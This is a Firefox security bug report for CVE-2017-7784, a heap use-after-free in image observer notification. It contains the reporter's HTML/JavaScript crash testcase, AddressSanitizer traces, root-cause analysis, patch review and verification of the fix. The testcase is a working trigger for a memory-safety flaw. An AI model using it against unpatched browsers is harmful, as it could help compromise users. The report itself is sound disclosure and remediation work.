Bug 1376087 (CVE-2017-7784)

heap-use-after-free in nsImageLoadingContent::Notify

VERIFIED FIXED in Firefox -esr52

Status

()

defect
VERIFIED FIXED
2 years ago
a month ago

People

(Reporter: nils, Assigned: tnikkel)

Tracking

({csectype-uaf, sec-high})

37 Branch
mozilla56
Points:
---
Bug Flags:
sec-bounty +
in-testsuite ?

Firefox Tracking Flags

(firefox-esr5255+ verified, firefox54 wontfix, firefox55+ verified, firefox56+ verified)

Details

(Whiteboard: [adv-main55+][adv-esr52.3+])

Attachments

(4 attachments, 1 obsolete attachment)

(Reporter)

Description

2 years ago
The latest ASAN build of Firefox 52.2.1 ESR (BuildID=20170621154102) crash when loading the following testcase. It requires 1px.png in the same directory (or any other PNG file).


<script>
function start() {
	o0=document.createElement('iframe');
	document.body.appendChild(o0);
	o1=open('1px.png','popup46','height=16');
	o1.onload=fun0;
	o2=o0.contentDocument;
}
function fun0(e) {
        o10=window.open('data:text/html,<div>','popup68','left=74');
        o10.onload=fun1;
	o13=e.target;
	tmpall=o13.getElementsByTagName('*');
	o19=tmpall[8];
}
function fun1(e) {
	o21=e.target;
	o71=o2.createElementNS('http://www.w3.org/2000/svg','filter');
	o92=o2.createElementNS('http://www.w3.org/2000/svg','feBlend');
	o71.appendChild(o92);
	tmpall[0].appendChild(o71);
	o111=o21.createElementNS('http://www.w3.org/2000/svg','filter');
	o145=o21.createElementNS('http://www.w3.org/2000/svg','feMerge');
	o111.appendChild(o145);
	o71.insertBefore(o111,o92);
	o207=o13.createElementNS('http://www.w3.org/1999/xhtml','style');
	o208=o13.createTextNode("*{ display: ruby-text-container;}");
	o207.appendChild(o208);
	o145.appendChild(o207);
	o19.setAttribute('src', '1px.png?1');
	setTimeout("location.reload()",100);
}
</script>
<body onload="start()"></body>

ASAN output:

=================================================================
==2364==ERROR: AddressSanitizer: heap-use-after-free on address 0x602000457ab8 at pc 0x7f1895b2c8e4 bp 0x7ffd0904f1d0 sp 0x7ffd0904f1c8
READ of size 8 at 0x602000457ab8 thread T0
    #0 0x7f1895b2c8e3 in nsImageLoadingContent::Notify(imgIRequest*, int, mozilla::gfx::IntRectTyped<mozilla::gfx::UnknownUnits> const*) /home/worker/workspace/build/src/dom/base/nsImageLoadingContent.cpp:155:24
    #1 0x7f189583d1be in imgRequestProxy::Notify(int, mozilla::gfx::IntRectTyped<mozilla::gfx::UnknownUnits> const*) /home/worker/workspace/build/src/image/imgRequestProxy.cpp:790:3
    #2 0x7f18957f7ee9 in operator() /home/worker/workspace/build/src/image/ProgressTracker.cpp:315:42
    #3 0x7f18957f7ee9 in void mozilla::image::ImageObserverNotifier<mozilla::image::ObserverTable const*>::operator()<void mozilla::image::SyncNotifyInternal<mozilla::image::ObserverTable const*>(mozilla::image::ObserverTable const* const&, bool, unsigned int, mozilla::gfx::IntRectTyped<mozilla::gfx::UnknownUnits> const&)::{lambda(mozilla::image::IProgressObserver*)#1}>(void mozilla::image::SyncNotifyInternal<mozilla::image::ObserverTable const*>(mozilla::image::ObserverTable const* const&, bool, unsigned int, mozilla::gfx::IntRectTyped<mozilla::gfx::UnknownUnits> const&)::{lambda(mozilla::image::IProgressObserver*)#1}) /home/worker/workspace/build/src/image/ProgressTracker.cpp:274
    #4 0x7f18957f7b80 in void mozilla::image::SyncNotifyInternal<mozilla::image::ObserverTable const*>(mozilla::image::ObserverTable const* const&, bool, unsigned int, mozilla::gfx::IntRectTyped<mozilla::gfx::UnknownUnits> const&) /home/worker/workspace/build/src/image/ProgressTracker.cpp:315:5
    #5 0x7f18957f3c31 in operator() /home/worker/workspace/build/src/image/ProgressTracker.cpp:394:5
    #6 0x7f18957f3c31 in Read<(lambda at /home/worker/workspace/build/src/image/ProgressTracker.cpp:393:19)> /home/worker/workspace/build/src/image/CopyOnWrite.h:154
    #7 0x7f18957f3c31 in mozilla::image::ProgressTracker::SyncNotifyProgress(unsigned int, mozilla::gfx::IntRectTyped<mozilla::gfx::UnknownUnits> const&) /home/worker/workspace/build/src/image/ProgressTracker.cpp:393
    #8 0x7f18957fbade in mozilla::image::RasterImage::NotifyProgress(unsigned int, mozilla::gfx::IntRectTyped<mozilla::gfx::UnknownUnits> const&, mozilla::Maybe<unsigned int> const&, mozilla::image::DecoderFlags, mozilla::image::SurfaceFlags) /home/worker/workspace/build/src/image/RasterImage.cpp:1567:3
    #9 0x7f1895805ab8 in mozilla::image::RasterImage::NotifyDecodeComplete(mozilla::image::DecoderFinalStatus const&, mozilla::image::ImageMetadata const&, mozilla::image::DecoderTelemetry const&, unsigned int, mozilla::gfx::IntRectTyped<mozilla::gfx::UnknownUnits> const&, mozilla::Maybe<unsigned int> const&, mozilla::image::DecoderFlags, mozilla::image::SurfaceFlags) /home/worker/workspace/build/src/image/RasterImage.cpp:1607:3
    #10 0x7f18958792b9 in operator() /home/worker/workspace/build/src/image/IDecodingTask.cpp:87:5
    #11 0x7f18958792b9 in mozilla::detail::RunnableFunction<mozilla::image::IDecodingTask::NotifyDecodeComplete(mozilla::NotNull<mozilla::image::RasterImage*>, mozilla::NotNull<mozilla::image::Decoder*>)::$_2>::Run() /home/worker/workspace/build/src/obj-firefox/dist/include/nsThreadUtils.h:324
    #12 0x7f18931a38bb in nsThread::ProcessNextEvent(bool, bool*) /home/worker/workspace/build/src/xpcom/threads/nsThread.cpp:1216:7
    #13 0x7f18932259fc in NS_ProcessNextEvent(nsIThread*, bool) /home/worker/workspace/build/src/xpcom/glue/nsThreadUtils.cpp:361:10
    #14 0x7f1893fdd40f in mozilla::ipc::MessagePump::Run(base::MessagePump::Delegate*) /home/worker/workspace/build/src/ipc/glue/MessagePump.cpp:96:21
    #15 0x7f1893f4efc8 in RunInternal /home/worker/workspace/build/src/ipc/chromium/src/base/message_loop.cc:232:3
    #16 0x7f1893f4efc8 in RunHandler /home/worker/workspace/build/src/ipc/chromium/src/base/message_loop.cc:225
    #17 0x7f1893f4efc8 in MessageLoop::Run() /home/worker/workspace/build/src/ipc/chromium/src/base/message_loop.cc:205
    #18 0x7f189957819f in nsBaseAppShell::Run() /home/worker/workspace/build/src/widget/nsBaseAppShell.cpp:156:3
    #19 0x7f189b5f2451 in nsAppStartup::Run() /home/worker/workspace/build/src/toolkit/components/startup/nsAppStartup.cpp:283:19
    #20 0x7f189b789757 in XREMain::XRE_mainRun() /home/worker/workspace/build/src/toolkit/xre/nsAppRunner.cpp:4488:10
    #21 0x7f189b78aecd in XREMain::XRE_main(int, char**, nsXREAppData const*) /home/worker/workspace/build/src/toolkit/xre/nsAppRunner.cpp:4621:8
    #22 0x7f189b78bd8c in XRE_main /home/worker/workspace/build/src/toolkit/xre/nsAppRunner.cpp:4712:16
    #23 0x4df91a in do_main /home/worker/workspace/build/src/browser/app/nsBrowserApp.cpp:282:10
    #24 0x4df91a in main /home/worker/workspace/build/src/browser/app/nsBrowserApp.cpp:415
    #25 0x7f18aeb5282f in __libc_start_main /build/glibc-9tT8Do/glibc-2.23/csu/../csu/libc-start.c:291
    #26 0x41ba88 in _start (/home/nils/fuzzer3/esr/firefox/firefox+0x41ba88)

0x602000457ab8 is located 8 bytes inside of 16-byte region [0x602000457ab0,0x602000457ac0)
freed by thread T0 here:
    #0 0x4b21db in __interceptor_free /builds/slave/moz-toolchain/src/llvm/projects/compiler-rt/lib/asan/asan_malloc_linux.cc:38:3
    #1 0x7f1895b30123 in operator delete /home/worker/workspace/build/src/obj-firefox/dist/include/mozilla/mozalloc.h:218:12
    #2 0x7f1895b30123 in nsImageLoadingContent::RemoveObserver(imgINotificationObserver*) /home/worker/workspace/build/src/dom/base/nsImageLoadingContent.cpp:432
    #3 0x7f189a1813b2 in nsImageFrame::DestroyFrom(nsIFrame*) /home/worker/workspace/build/src/layout/generic/nsImageFrame.cpp:213:7
    #4 0x7f189a003de3 in nsFrameList::DestroyFramesFrom(nsIFrame*) /home/worker/workspace/build/src/layout/generic/nsFrameList.cpp:57:5
    #5 0x7f189a004207 in DestroyAbsoluteFrames /home/worker/workspace/build/src/layout/generic/nsContainerFrame.cpp:184:5
    #6 0x7f189a004207 in nsContainerFrame::DestroyFrom(nsIFrame*) /home/worker/workspace/build/src/layout/generic/nsContainerFrame.cpp:218
    #7 0x7f189a064f15 in nsCanvasFrame::DestroyFrom(nsIFrame*) /home/worker/workspace/build/src/layout/generic/nsCanvasFrame.cpp:153:3
    #8 0x7f189a004378 in DestroyFramesFrom /home/worker/workspace/build/src/layout/generic/nsFrameList.cpp:57:5
    #9 0x7f189a004378 in nsContainerFrame::DestroyFrom(nsIFrame*) /home/worker/workspace/build/src/layout/generic/nsContainerFrame.cpp:221
    #10 0x7f189a0782ca in Destroy /home/worker/workspace/build/src/layout/generic/nsIFrame.h:576:20
    #11 0x7f189a0782ca in nsContainerFrame::RemoveFrame(mozilla::layout::FrameChildListID, nsIFrame*) /home/worker/workspace/build/src/layout/generic/nsContainerFrame.cpp:170
    #12 0x7f1899ea5566 in nsFrameManager::RemoveFrame(mozilla::layout::FrameChildListID, nsIFrame*) /home/worker/workspace/build/src/layout/base/nsFrameManager.cpp:506:5
    #13 0x7f1899d73b6b in nsCSSFrameConstructor::ContentRemoved(nsIContent*, nsIContent*, nsIContent*, nsCSSFrameConstructor::RemoveFlags, bool*, nsIContent**) /home/worker/workspace/build/src/layout/base/nsCSSFrameConstructor.cpp:8498:5
    #14 0x7f1899ce862e in nsCSSFrameConstructor::RecreateFramesForContent(nsIContent*, bool, nsCSSFrameConstructor::RemoveFlags, nsIContent**) /home/worker/workspace/build/src/layout/base/nsCSSFrameConstructor.cpp:9685:10
    #15 0x7f1899d7572a in nsCSSFrameConstructor::MaybeRecreateContainerForFrameRemoval(nsIFrame*, nsCSSFrameConstructor::RemoveFlags, nsresult*, nsIContent**) /home/worker/workspace/build/src/layout/base/nsCSSFrameConstructor.cpp:9475:16
    #16 0x7f1899ce82ca in nsCSSFrameConstructor::RecreateFramesForContent(nsIContent*, bool, nsCSSFrameConstructor::RemoveFlags, nsIContent**) /home/worker/workspace/build/src/layout/base/nsCSSFrameConstructor.cpp:9659:16
    #17 0x7f1899d754de in nsCSSFrameConstructor::MaybeRecreateContainerForFrameRemoval(nsIFrame*, nsCSSFrameConstructor::RemoveFlags, nsresult*, nsIContent**) /home/worker/workspace/build/src/layout/base/nsCSSFrameConstructor.cpp:9428:18
    #18 0x7f1899ce82ca in nsCSSFrameConstructor::RecreateFramesForContent(nsIContent*, bool, nsCSSFrameConstructor::RemoveFlags, nsIContent**) /home/worker/workspace/build/src/layout/base/nsCSSFrameConstructor.cpp:9659:16
    #19 0x7f1899d754de in nsCSSFrameConstructor::MaybeRecreateContainerForFrameRemoval(nsIFrame*, nsCSSFrameConstructor::RemoveFlags, nsresult*, nsIContent**) /home/worker/workspace/build/src/layout/base/nsCSSFrameConstructor.cpp:9428:18
    #20 0x7f1899d733cb in nsCSSFrameConstructor::ContentRemoved(nsIContent*, nsIContent*, nsIContent*, nsCSSFrameConstructor::RemoveFlags, bool*, nsIContent**) /home/worker/workspace/build/src/layout/base/nsCSSFrameConstructor.cpp:8370:9
    #21 0x7f1899f33ec2 in PresShell::ContentRemoved(nsIDocument*, nsIContent*, nsIContent*, int, nsIContent*) /home/worker/workspace/build/src/layout/base/nsPresShell.cpp:4477:3
    #22 0x7f1895f491fe in nsNodeUtils::ContentRemoved(nsINode*, nsIContent*, int, nsIContent*) /home/worker/workspace/build/src/dom/base/nsNodeUtils.cpp:226:3
    #23 0x7f1895ef1540 in nsINode::doRemoveChildAt(unsigned int, bool, nsIContent*, nsAttrAndChildArray&) /home/worker/workspace/build/src/dom/base/nsINode.cpp:1926:5
    #24 0x7f1895c39cf3 in mozilla::dom::FragmentOrElement::RemoveChildAt(unsigned int, bool) /home/worker/workspace/build/src/dom/base/FragmentOrElement.cpp:1113:5
    #25 0x7f18959f54ed in nsContentUtils::SetNodeTextContent(nsIContent*, nsAString_internal const&, bool) /home/worker/workspace/build/src/dom/base/nsContentUtils.cpp:4818:7
    #26 0x7f1895e0bea6 in nsDocument::SetTitle(nsAString_internal const&) /home/worker/workspace/build/src/dom/base/nsDocument.cpp:6683:10
    #27 0x7f18980420dc in mozilla::dom::MediaDocument::UpdateTitleAndCharset(nsACString_internal const&, nsIChannel*, char const* const*, int, int, nsAString_internal const&) /home/worker/workspace/build/src/dom/html/MediaDocument.cpp:415:5
    #28 0x7f189803c961 in mozilla::dom::ImageDocument::UpdateTitleAndCharset() /home/worker/workspace/build/src/dom/html/ImageDocument.cpp:794:3
    #29 0x7f189803e128 in mozilla::dom::ImageDocument::OnSizeAvailable(imgIRequest*, imgIContainer*) /home/worker/workspace/build/src/dom/html/ImageDocument.cpp:551:3
    #30 0x7f189803dd4c in mozilla::dom::ImageDocument::Notify(imgIRequest*, int, mozilla::gfx::IntRectTyped<mozilla::gfx::UnknownUnits> const*) /home/worker/workspace/build/src/dom/html/ImageDocument.cpp:479:12
    #31 0x7f189803eecf in non-virtual thunk to mozilla::dom::ImageDocument::Notify(imgIRequest*, int, mozilla::gfx::IntRectTyped<mozilla::gfx::UnknownUnits> const*) /home/worker/workspace/build/src/dom/html/ImageDocument.cpp:474:16
    #32 0x7f1895b2c390 in nsImageLoadingContent::Notify(imgIRequest*, int, mozilla::gfx::IntRectTyped<mozilla::gfx::UnknownUnits> const*) /home/worker/workspace/build/src/dom/base/nsImageLoadingContent.cpp:157:9
    #33 0x7f189583d1be in imgRequestProxy::Notify(int, mozilla::gfx::IntRectTyped<mozilla::gfx::UnknownUnits> const*) /home/worker/workspace/build/src/image/imgRequestProxy.cpp:790:3

previously allocated by thread T0 here:
    #0 0x4b24fb in malloc /builds/slave/moz-toolchain/src/llvm/projects/compiler-rt/lib/asan/asan_malloc_linux.cc:52:3
    #1 0x4e0ded in moz_xmalloc /home/worker/workspace/build/src/memory/mozalloc/mozalloc.cpp:83:17
    #2 0x7f1895b2f9fd in operator new /home/worker/workspace/build/src/obj-firefox/dist/include/mozilla/mozalloc.h:194:12
    #3 0x7f1895b2f9fd in nsImageLoadingContent::AddObserver(imgINotificationObserver*) /home/worker/workspace/build/src/dom/base/nsImageLoadingContent.cpp:401
    #4 0x7f189a1824fd in nsImageFrame::Init(nsIContent*, nsContainerFrame*, nsIFrame*) /home/worker/workspace/build/src/layout/generic/nsImageFrame.cpp:270:3
    #5 0x7f1899d559a4 in InitAndRestoreFrame /home/worker/workspace/build/src/layout/base/nsCSSFrameConstructor.cpp:4971:3
    #6 0x7f1899d559a4 in nsCSSFrameConstructor::ConstructFrameFromItemInternal(nsCSSFrameConstructor::FrameConstructionItem&, nsFrameConstructorState&, nsContainerFrame*, nsFrameItems&) /home/worker/workspace/build/src/layout/base/nsCSSFrameConstructor.cpp:3875
    #7 0x7f1899d62996 in nsCSSFrameConstructor::ConstructFramesFromItem(nsFrameConstructorState&, nsCSSFrameConstructor::FrameConstructionItemList::Iterator&, nsContainerFrame*, nsFrameItems&) /home/worker/workspace/build/src/layout/base/nsCSSFrameConstructor.cpp:6187:3
    #8 0x7f1899d57c1b in ConstructFramesFromItemList /home/worker/workspace/build/src/layout/base/nsCSSFrameConstructor.cpp:10631:5
    #9 0x7f1899d57c1b in nsCSSFrameConstructor::ConstructFrameFromItemInternal(nsCSSFrameConstructor::FrameConstructionItem&, nsFrameConstructorState&, nsContainerFrame*, nsFrameItems&) /home/worker/workspace/build/src/layout/base/nsCSSFrameConstructor.cpp:4022
    #10 0x7f1899d62996 in nsCSSFrameConstructor::ConstructFramesFromItem(nsFrameConstructorState&, nsCSSFrameConstructor::FrameConstructionItemList::Iterator&, nsContainerFrame*, nsFrameItems&) /home/worker/workspace/build/src/layout/base/nsCSSFrameConstructor.cpp:6187:3
    #11 0x7f1899d3f104 in ConstructFramesFromItemList /home/worker/workspace/build/src/layout/base/nsCSSFrameConstructor.cpp:10631:5
    #12 0x7f1899d3f104 in nsCSSFrameConstructor::ProcessChildren(nsFrameConstructorState&, nsIContent*, nsStyleContext*, nsContainerFrame*, bool, nsFrameItems&, bool, PendingBinding*, nsIFrame*) /home/worker/workspace/build/src/layout/base/nsCSSFrameConstructor.cpp:10843
    #13 0x7f1899d578e1 in nsCSSFrameConstructor::ConstructFrameFromItemInternal(nsCSSFrameConstructor::FrameConstructionItem&, nsFrameConstructorState&, nsContainerFrame*, nsFrameItems&) /home/worker/workspace/build/src/layout/base/nsCSSFrameConstructor.cpp:4026:9
    #14 0x7f1899d62996 in nsCSSFrameConstructor::ConstructFramesFromItem(nsFrameConstructorState&, nsCSSFrameConstructor::FrameConstructionItemList::Iterator&, nsContainerFrame*, nsFrameItems&) /home/worker/workspace/build/src/layout/base/nsCSSFrameConstructor.cpp:6187:3
    #15 0x7f1899d57c1b in ConstructFramesFromItemList /home/worker/workspace/build/src/layout/base/nsCSSFrameConstructor.cpp:10631:5
    #16 0x7f1899d57c1b in nsCSSFrameConstructor::ConstructFrameFromItemInternal(nsCSSFrameConstructor::FrameConstructionItem&, nsFrameConstructorState&, nsContainerFrame*, nsFrameItems&) /home/worker/workspace/build/src/layout/base/nsCSSFrameConstructor.cpp:4022
    #17 0x7f1899d62996 in nsCSSFrameConstructor::ConstructFramesFromItem(nsFrameConstructorState&, nsCSSFrameConstructor::FrameConstructionItemList::Iterator&, nsContainerFrame*, nsFrameItems&) /home/worker/workspace/build/src/layout/base/nsCSSFrameConstructor.cpp:6187:3
    #18 0x7f1899d3f104 in ConstructFramesFromItemList /home/worker/workspace/build/src/layout/base/nsCSSFrameConstructor.cpp:10631:5
    #19 0x7f1899d3f104 in nsCSSFrameConstructor::ProcessChildren(nsFrameConstructorState&, nsIContent*, nsStyleContext*, nsContainerFrame*, bool, nsFrameItems&, bool, PendingBinding*, nsIFrame*) /home/worker/workspace/build/src/layout/base/nsCSSFrameConstructor.cpp:10843
    #20 0x7f1899d499ed in nsCSSFrameConstructor::ConstructBlock(nsFrameConstructorState&, nsIContent*, nsContainerFrame*, nsContainerFrame*, nsStyleContext*, nsContainerFrame**, nsFrameItems&, nsIFrame*, PendingBinding*) /home/worker/workspace/build/src/layout/base/nsCSSFrameConstructor.cpp:11853:3
    #21 0x7f1899d45e48 in nsCSSFrameConstructor::ConstructDocElementFrame(mozilla::dom::Element*, nsILayoutHistoryState*) /home/worker/workspace/build/src/layout/base/nsCSSFrameConstructor.cpp:2625:5
    #22 0x7f1899d69076 in nsCSSFrameConstructor::ContentRangeInserted(nsIContent*, nsIContent*, nsIContent*, nsILayoutHistoryState*, bool) /home/worker/workspace/build/src/layout/base/nsCSSFrameConstructor.cpp:7744:7
    #23 0x7f1899ce88db in ContentInserted /home/worker/workspace/build/src/layout/base/nsCSSFrameConstructor.cpp:7630:10
    #24 0x7f1899ce88db in nsCSSFrameConstructor::RecreateFramesForContent(nsIContent*, bool, nsCSSFrameConstructor::RemoveFlags, nsIContent**) /home/worker/workspace/build/src/layout/base/nsCSSFrameConstructor.cpp:9699
    #25 0x7f1899d069e6 in mozilla::RestyleManagerBase::ProcessRestyledFrames(nsStyleChangeList&) /home/worker/workspace/build/src/layout/base/RestyleManagerBase.cpp:1176:7
    #26 0x7f1899d0d8f9 in ProcessOneRestyle /home/worker/workspace/build/src/layout/base/RestyleTracker.cpp:105:5
    #27 0x7f1899d0d8f9 in mozilla::RestyleTracker::DoProcessRestyles() /home/worker/workspace/build/src/layout/base/RestyleTracker.cpp:266
    #28 0x7f1899cef7c4 in ProcessRestyles /home/worker/workspace/build/src/obj-firefox/dist/include/mozilla/RestyleManager.h:490:7
    #29 0x7f1899cef7c4 in mozilla::RestyleManager::ProcessPendingRestyles() /home/worker/workspace/build/src/layout/base/RestyleManager.cpp:834
    #30 0x7f1899f30f1e in ProcessPendingRestyles /home/worker/workspace/build/src/obj-firefox/dist/include/mozilla/RestyleManagerHandleInlines.h:74:3
    #31 0x7f1899f30f1e in PresShell::FlushPendingNotifications(mozilla::ChangesToFlush) /home/worker/workspace/build/src/layout/base/nsPresShell.cpp:4159
    #32 0x7f1899c4321c in nsRefreshDriver::Tick(long, mozilla::TimeStamp) /home/worker/workspace/build/src/layout/base/nsRefreshDriver.cpp:1836:11
    #33 0x7f1899c4fa61 in mozilla::RefreshDriverTimer::TickRefreshDrivers(long, mozilla::TimeStamp, nsTArray<RefPtr<nsRefreshDriver> >&) /home/worker/workspace/build/src/layout/base/nsRefreshDriver.cpp:295:7
    #34 0x7f1899c4f4f5 in mozilla::RefreshDriverTimer::Tick(long, mozilla::TimeStamp) /home/worker/workspace/build/src/layout/base/nsRefreshDriver.cpp:316:5
    #35 0x7f1899c5201e in applyImpl<mozilla::VsyncRefreshDriverTimer::RefreshDriverVsyncObserver, void (mozilla::VsyncRefreshDriverTimer::RefreshDriverVsyncObserver::*)(mozilla::TimeStamp), StoreCopyPassByValue<mozilla::TimeStamp> , 0> /home/worker/workspace/build/src/obj-firefox/dist/include/nsThreadUtils.h:775:12
    #36 0x7f1899c5201e in apply<mozilla::VsyncRefreshDriverTimer::RefreshDriverVsyncObserver, void (mozilla::VsyncRefreshDriverTimer::RefreshDriverVsyncObserver::*)(mozilla::TimeStamp)> /home/worker/workspace/build/src/obj-firefox/dist/include/nsThreadUtils.h:781
    #37 0x7f1899c5201e in mozilla::detail::RunnableMethodImpl<void (mozilla::VsyncRefreshDriverTimer::RefreshDriverVsyncObserver::*)(mozilla::TimeStamp), true, false, mozilla::TimeStamp>::Run() /home/worker/workspace/build/src/obj-firefox/dist/include/nsThreadUtils.h:810
    #38 0x7f18931a38bb in nsThread::ProcessNextEvent(bool, bool*) /home/worker/workspace/build/src/xpcom/threads/nsThread.cpp:1216:7
    #39 0x7f18932259fc in NS_ProcessNextEvent(nsIThread*, bool) /home/worker/workspace/build/src/xpcom/glue/nsThreadUtils.cpp:361:10
    #40 0x7f1893fdd40f in mozilla::ipc::MessagePump::Run(base::MessagePump::Delegate*) /home/worker/workspace/build/src/ipc/glue/MessagePump.cpp:96:21
    #41 0x7f1893f4efc8 in RunInternal /home/worker/workspace/build/src/ipc/chromium/src/base/message_loop.cc:232:3
    #42 0x7f1893f4efc8 in RunHandler /home/worker/workspace/build/src/ipc/chromium/src/base/message_loop.cc:225
    #43 0x7f1893f4efc8 in MessageLoop::Run() /home/worker/workspace/build/src/ipc/chromium/src/base/message_loop.cc:205

SUMMARY: AddressSanitizer: heap-use-after-free /home/worker/workspace/build/src/dom/base/nsImageLoadingContent.cpp:155:24 in nsImageLoadingContent::Notify(imgIRequest*, int, mozilla::gfx::IntRectTyped<mozilla::gfx::UnknownUnits> const*)
Shadow bytes around the buggy address:
  0x0c0480082f00: fa fa fd fd fa fa fd fd fa fa fd fd fa fa fd fd
  0x0c0480082f10: fa fa fd fd fa fa fd fd fa fa fd fd fa fa fd fd
  0x0c0480082f20: fa fa fd fd fa fa fd fd fa fa fd fd fa fa fd fd
  0x0c0480082f30: fa fa fd fd fa fa fd fd fa fa fd fd fa fa fd fd
  0x0c0480082f40: fa fa fd fd fa fa fd fd fa fa fd fd fa fa fd fd
=>0x0c0480082f50: fa fa fd fd fa fa fd[fd]fa fa fd fd fa fa fd fd
  0x0c0480082f60: fa fa fd fa fa fa fd fa fa fa fd fd fa fa fd fd
  0x0c0480082f70: fa fa fd fa fa fa fd fa fa fa fd fd fa fa fd fd
  0x0c0480082f80: fa fa fd fd fa fa fd fd fa fa fd fd fa fa fd fd
  0x0c0480082f90: fa fa fd fd fa fa fd fd fa fa fd fd fa fa fd fd
  0x0c0480082fa0: fa fa fd fd fa fa fd fd fa fa fd fd fa fa fd fd
Shadow byte legend (one shadow byte represents 8 application bytes):
  Addressable:           00
  Partially addressable: 01 02 03 04 05 06 07 
  Heap left redzone:       fa
  Heap right redzone:      fb
  Freed heap region:       fd
  Stack left redzone:      f1
  Stack mid redzone:       f2
  Stack right redzone:     f3
  Stack partial redzone:   f4
  Stack after return:      f5
  Stack use after scope:   f8
  Global redzone:          f9
  Global init order:       f6
  Poisoned by user:        f7
  Container overflow:      fc
  Array cookie:            ac
  Intra object redzone:    bb
  ASan internal:           fe
  Left alloca redzone:     ca
  Right alloca redzone:    cb
==2364==ABORTING
(Reporter)

Comment 1

2 years ago
(Reporter)

Comment 2

2 years ago
Posted file ASAN output
Note, you'll want to disable the popup blocker with the dom.disable_open_during_load pref when trying to reproduce. Also, layout.css.ruby.enabled needs to be set to true (initial attempts to bisect ended up on this pref getting flipped by default on Nightly). Sometimes it takes a reload or two to crash in affected builds also.

INFO: Last good revision: f14dcd1c8c0b (2014-12-15)
INFO: First bad revision: b836016d82b5 (2014-12-16)
INFO: Pushlog:
https://hg.mozilla.org/mozilla-central/pushloghtml?fromchange=f14dcd1c8c0b&tochange=b836016d82b5

Since this testcase seems to hinge on Ruby support somehow, bug 1107721, bug 1088489, and/or bug 1087872 look possibly-relevant. Xidorn, can you please take a look?
Group: core-security → dom-core-security
Flags: needinfo?(xidorn+moz)
Flags: in-testsuite?
Keywords: csectype-uaf
Version: 55 Branch → 37 Branch
So based on those stacks the key part is that we call into nsImageLoadingContent::Notify and this starts notifying the observers like so:

    for (ImageObserver* observer = &mObserverList, *next; observer;
         observer = next) {
      next = observer->mNext;
      if (observer->mObserver) {
        observer->mObserver->Notify(aRequest, aType, aData);
      }
    }

One of those Notify() calls goes to ImageDocument::Notify which does ImageDocument::UpdateTitleAndCharset which mutates the title of the document, which triggers frame reconstruction (this is the part the ruby is relevant for: the anonymous ruby frame bits are why we have to reframe; we implemented those in bug 1088489 which is why that's in the regression range, but we could create similar testcases with anonymous table bits that go back much further, I bet).

The reframe removes an observer from the image loading content, and presumably it's the one we have stored in "next" while making that Notify call.  Then we unwind and now we're reading deleted memory.

The obvious fix seems to be to make nsImageLoadingContent::Notify snapshot the list of observers before invoking any of them.  This should be pretty cheap in the commmon "only one observer" case, and also in the two-observer image document case we have here.
Thanks for the analysis, bz. Clearing the ni?.
Flags: needinfo?(xidorn+moz)
(Assignee)

Comment 6

2 years ago
Posted patch copyimageobservers (obsolete) — Splinter Review
Assignee: nobody → tnikkel
Attachment #8881546 - Flags: review?(bzbarsky)
Comment on attachment 8881546 [details] [diff] [review]
copyimageobservers

Review of attachment 8881546 [details] [diff] [review]:
-----------------------------------------------------------------

::: dom/base/nsImageLoadingContent.cpp
@@ +161,5 @@
>      }
> +
> +    nsAutoScriptBlocker scriptBlocker;
> +
> +    for (auto observer : observers) {

You should probably either do `imgINotificationObserver*` or at least `auto&` here, otherwise it would do an additional pair of addref-release.
Comment on attachment 8881546 [details] [diff] [review]
copyimageobservers

Please add a comment about how Notify can modify the list.

>+    AutoTArray<nsCOMPtr<imgINotificationObserver>, 1> observers;

2, not 1, because of image documents.

>+    for (auto observer : observers) {

"auto&", please.

r=me
Attachment #8881546 - Flags: review?(bzbarsky) → review+
(Assignee)

Comment 9

2 years ago
[Security approval request comment]
How easily could an exploit be constructed based on the patch?

the problem (changing the observer list while iterating it) is mentioned in the patch, but the path to actually modify the observer list is not immediately obvious

Do comments in the patch, the check-in comment, or tests included in the patch paint a bulls-eye on the security problem?

see previous answer

Which older supported branches are affected by this flaw?

all branches, see comment 4

If not all supported branches, which bug introduced the flaw?

all branches, see comment 4

Do you have backports for the affected branches? If not, how different, hard to create, and risky will they be?

trivial

How likely is this patch to cause regressions; how much testing does it need?

very unlikely,
Attachment #8881568 - Flags: sec-approval?
(Assignee)

Updated

2 years ago
Attachment #8881546 - Attachment is obsolete: true
(Assignee)

Updated

2 years ago
Attachment #8881568 - Flags: review+
tracking as sec-critical
Sec-approval+ for trunk.
Please nominate Beta and ESR52 patches as well, to land after we land on trunk.
(Assignee)

Comment 12

2 years ago
Comment on attachment 8881568 [details] [diff] [review]
copyimageobservers

[Approval Request Comment]
If this is not a sec:{high,crit} bug, please state case for ESR consideration: sec-crit
User impact if declined: crashes, security bugs
Fix Landed on Version: 56
Risk to taking this patch (and alternatives if risky): not risky
String or UUID changes made by this patch: none

See https://wiki.mozilla.org/Release_Management/ESR_Landing_Process for more info.

Approval Request Comment
[Feature/Bug causing the regression]: the root problem has been around forever basically (pre-2010)
[User impact if declined]: crashes, security bugs
[Is this code covered by automated tests?]: no
[Has the fix been verified in Nightly?]: not yet
[Needs manual test from QE? If yes, steps to reproduce]: STR in comment 0
[List of other uplifts needed for the feature/fix]: none
[Is the change risky?]: no
[Why is the change risky/not risky?]: makes a copy of a linked list that will have 0,1, or 2 entires in almost every case
[String changes made/needed]: none
Attachment #8881568 - Flags: approval-mozilla-esr52?
Attachment #8881568 - Flags: approval-mozilla-beta?
Attachment #8881568 - Flags: sec-approval?
Attachment #8881568 - Flags: sec-approval+
Attachment #8881568 - Flags: approval-mozilla-esr52?
Attachment #8881568 - Flags: approval-mozilla-esr52+
Attachment #8881568 - Flags: approval-mozilla-beta?
Attachment #8881568 - Flags: approval-mozilla-beta+
https://hg.mozilla.org/mozilla-central/rev/8bf05205295d
Status: NEW → RESOLVED
Last Resolved: 2 years ago
Resolution: --- → FIXED
Target Milestone: --- → mozilla56
Whiteboard: [adv-main55+][adv-esr52.3+]
Alias: CVE-2017-7784
Group: dom-core-security → core-security-release
Flags: sec-bounty?
(In reply to Timothy Nikkel (:tnikkel) from comment #12)
> [Is this code covered by automated tests?]: no
> [Has the fix been verified in Nightly?]: not yet
> [Needs manual test from QE? If yes, steps to reproduce]: STR in comment 0

Flagging this for manual testing.
Flags: qe-verify+
Flags: sec-bounty? → sec-bounty+
Reproduced the crash on an affected build (52.2esr, 20170621084120, 4466516acd34) [1] using the test case described in Comment 0 with dom.disable_open_during_load;false, on Windows 10 x64.

I can confirm the test case is no longer crashing on Windows 10 x64, Ubuntu 16.04 x64 and macOS 10.12 using:
    - 52.2esr (20170723091719, 3856be3d222f)
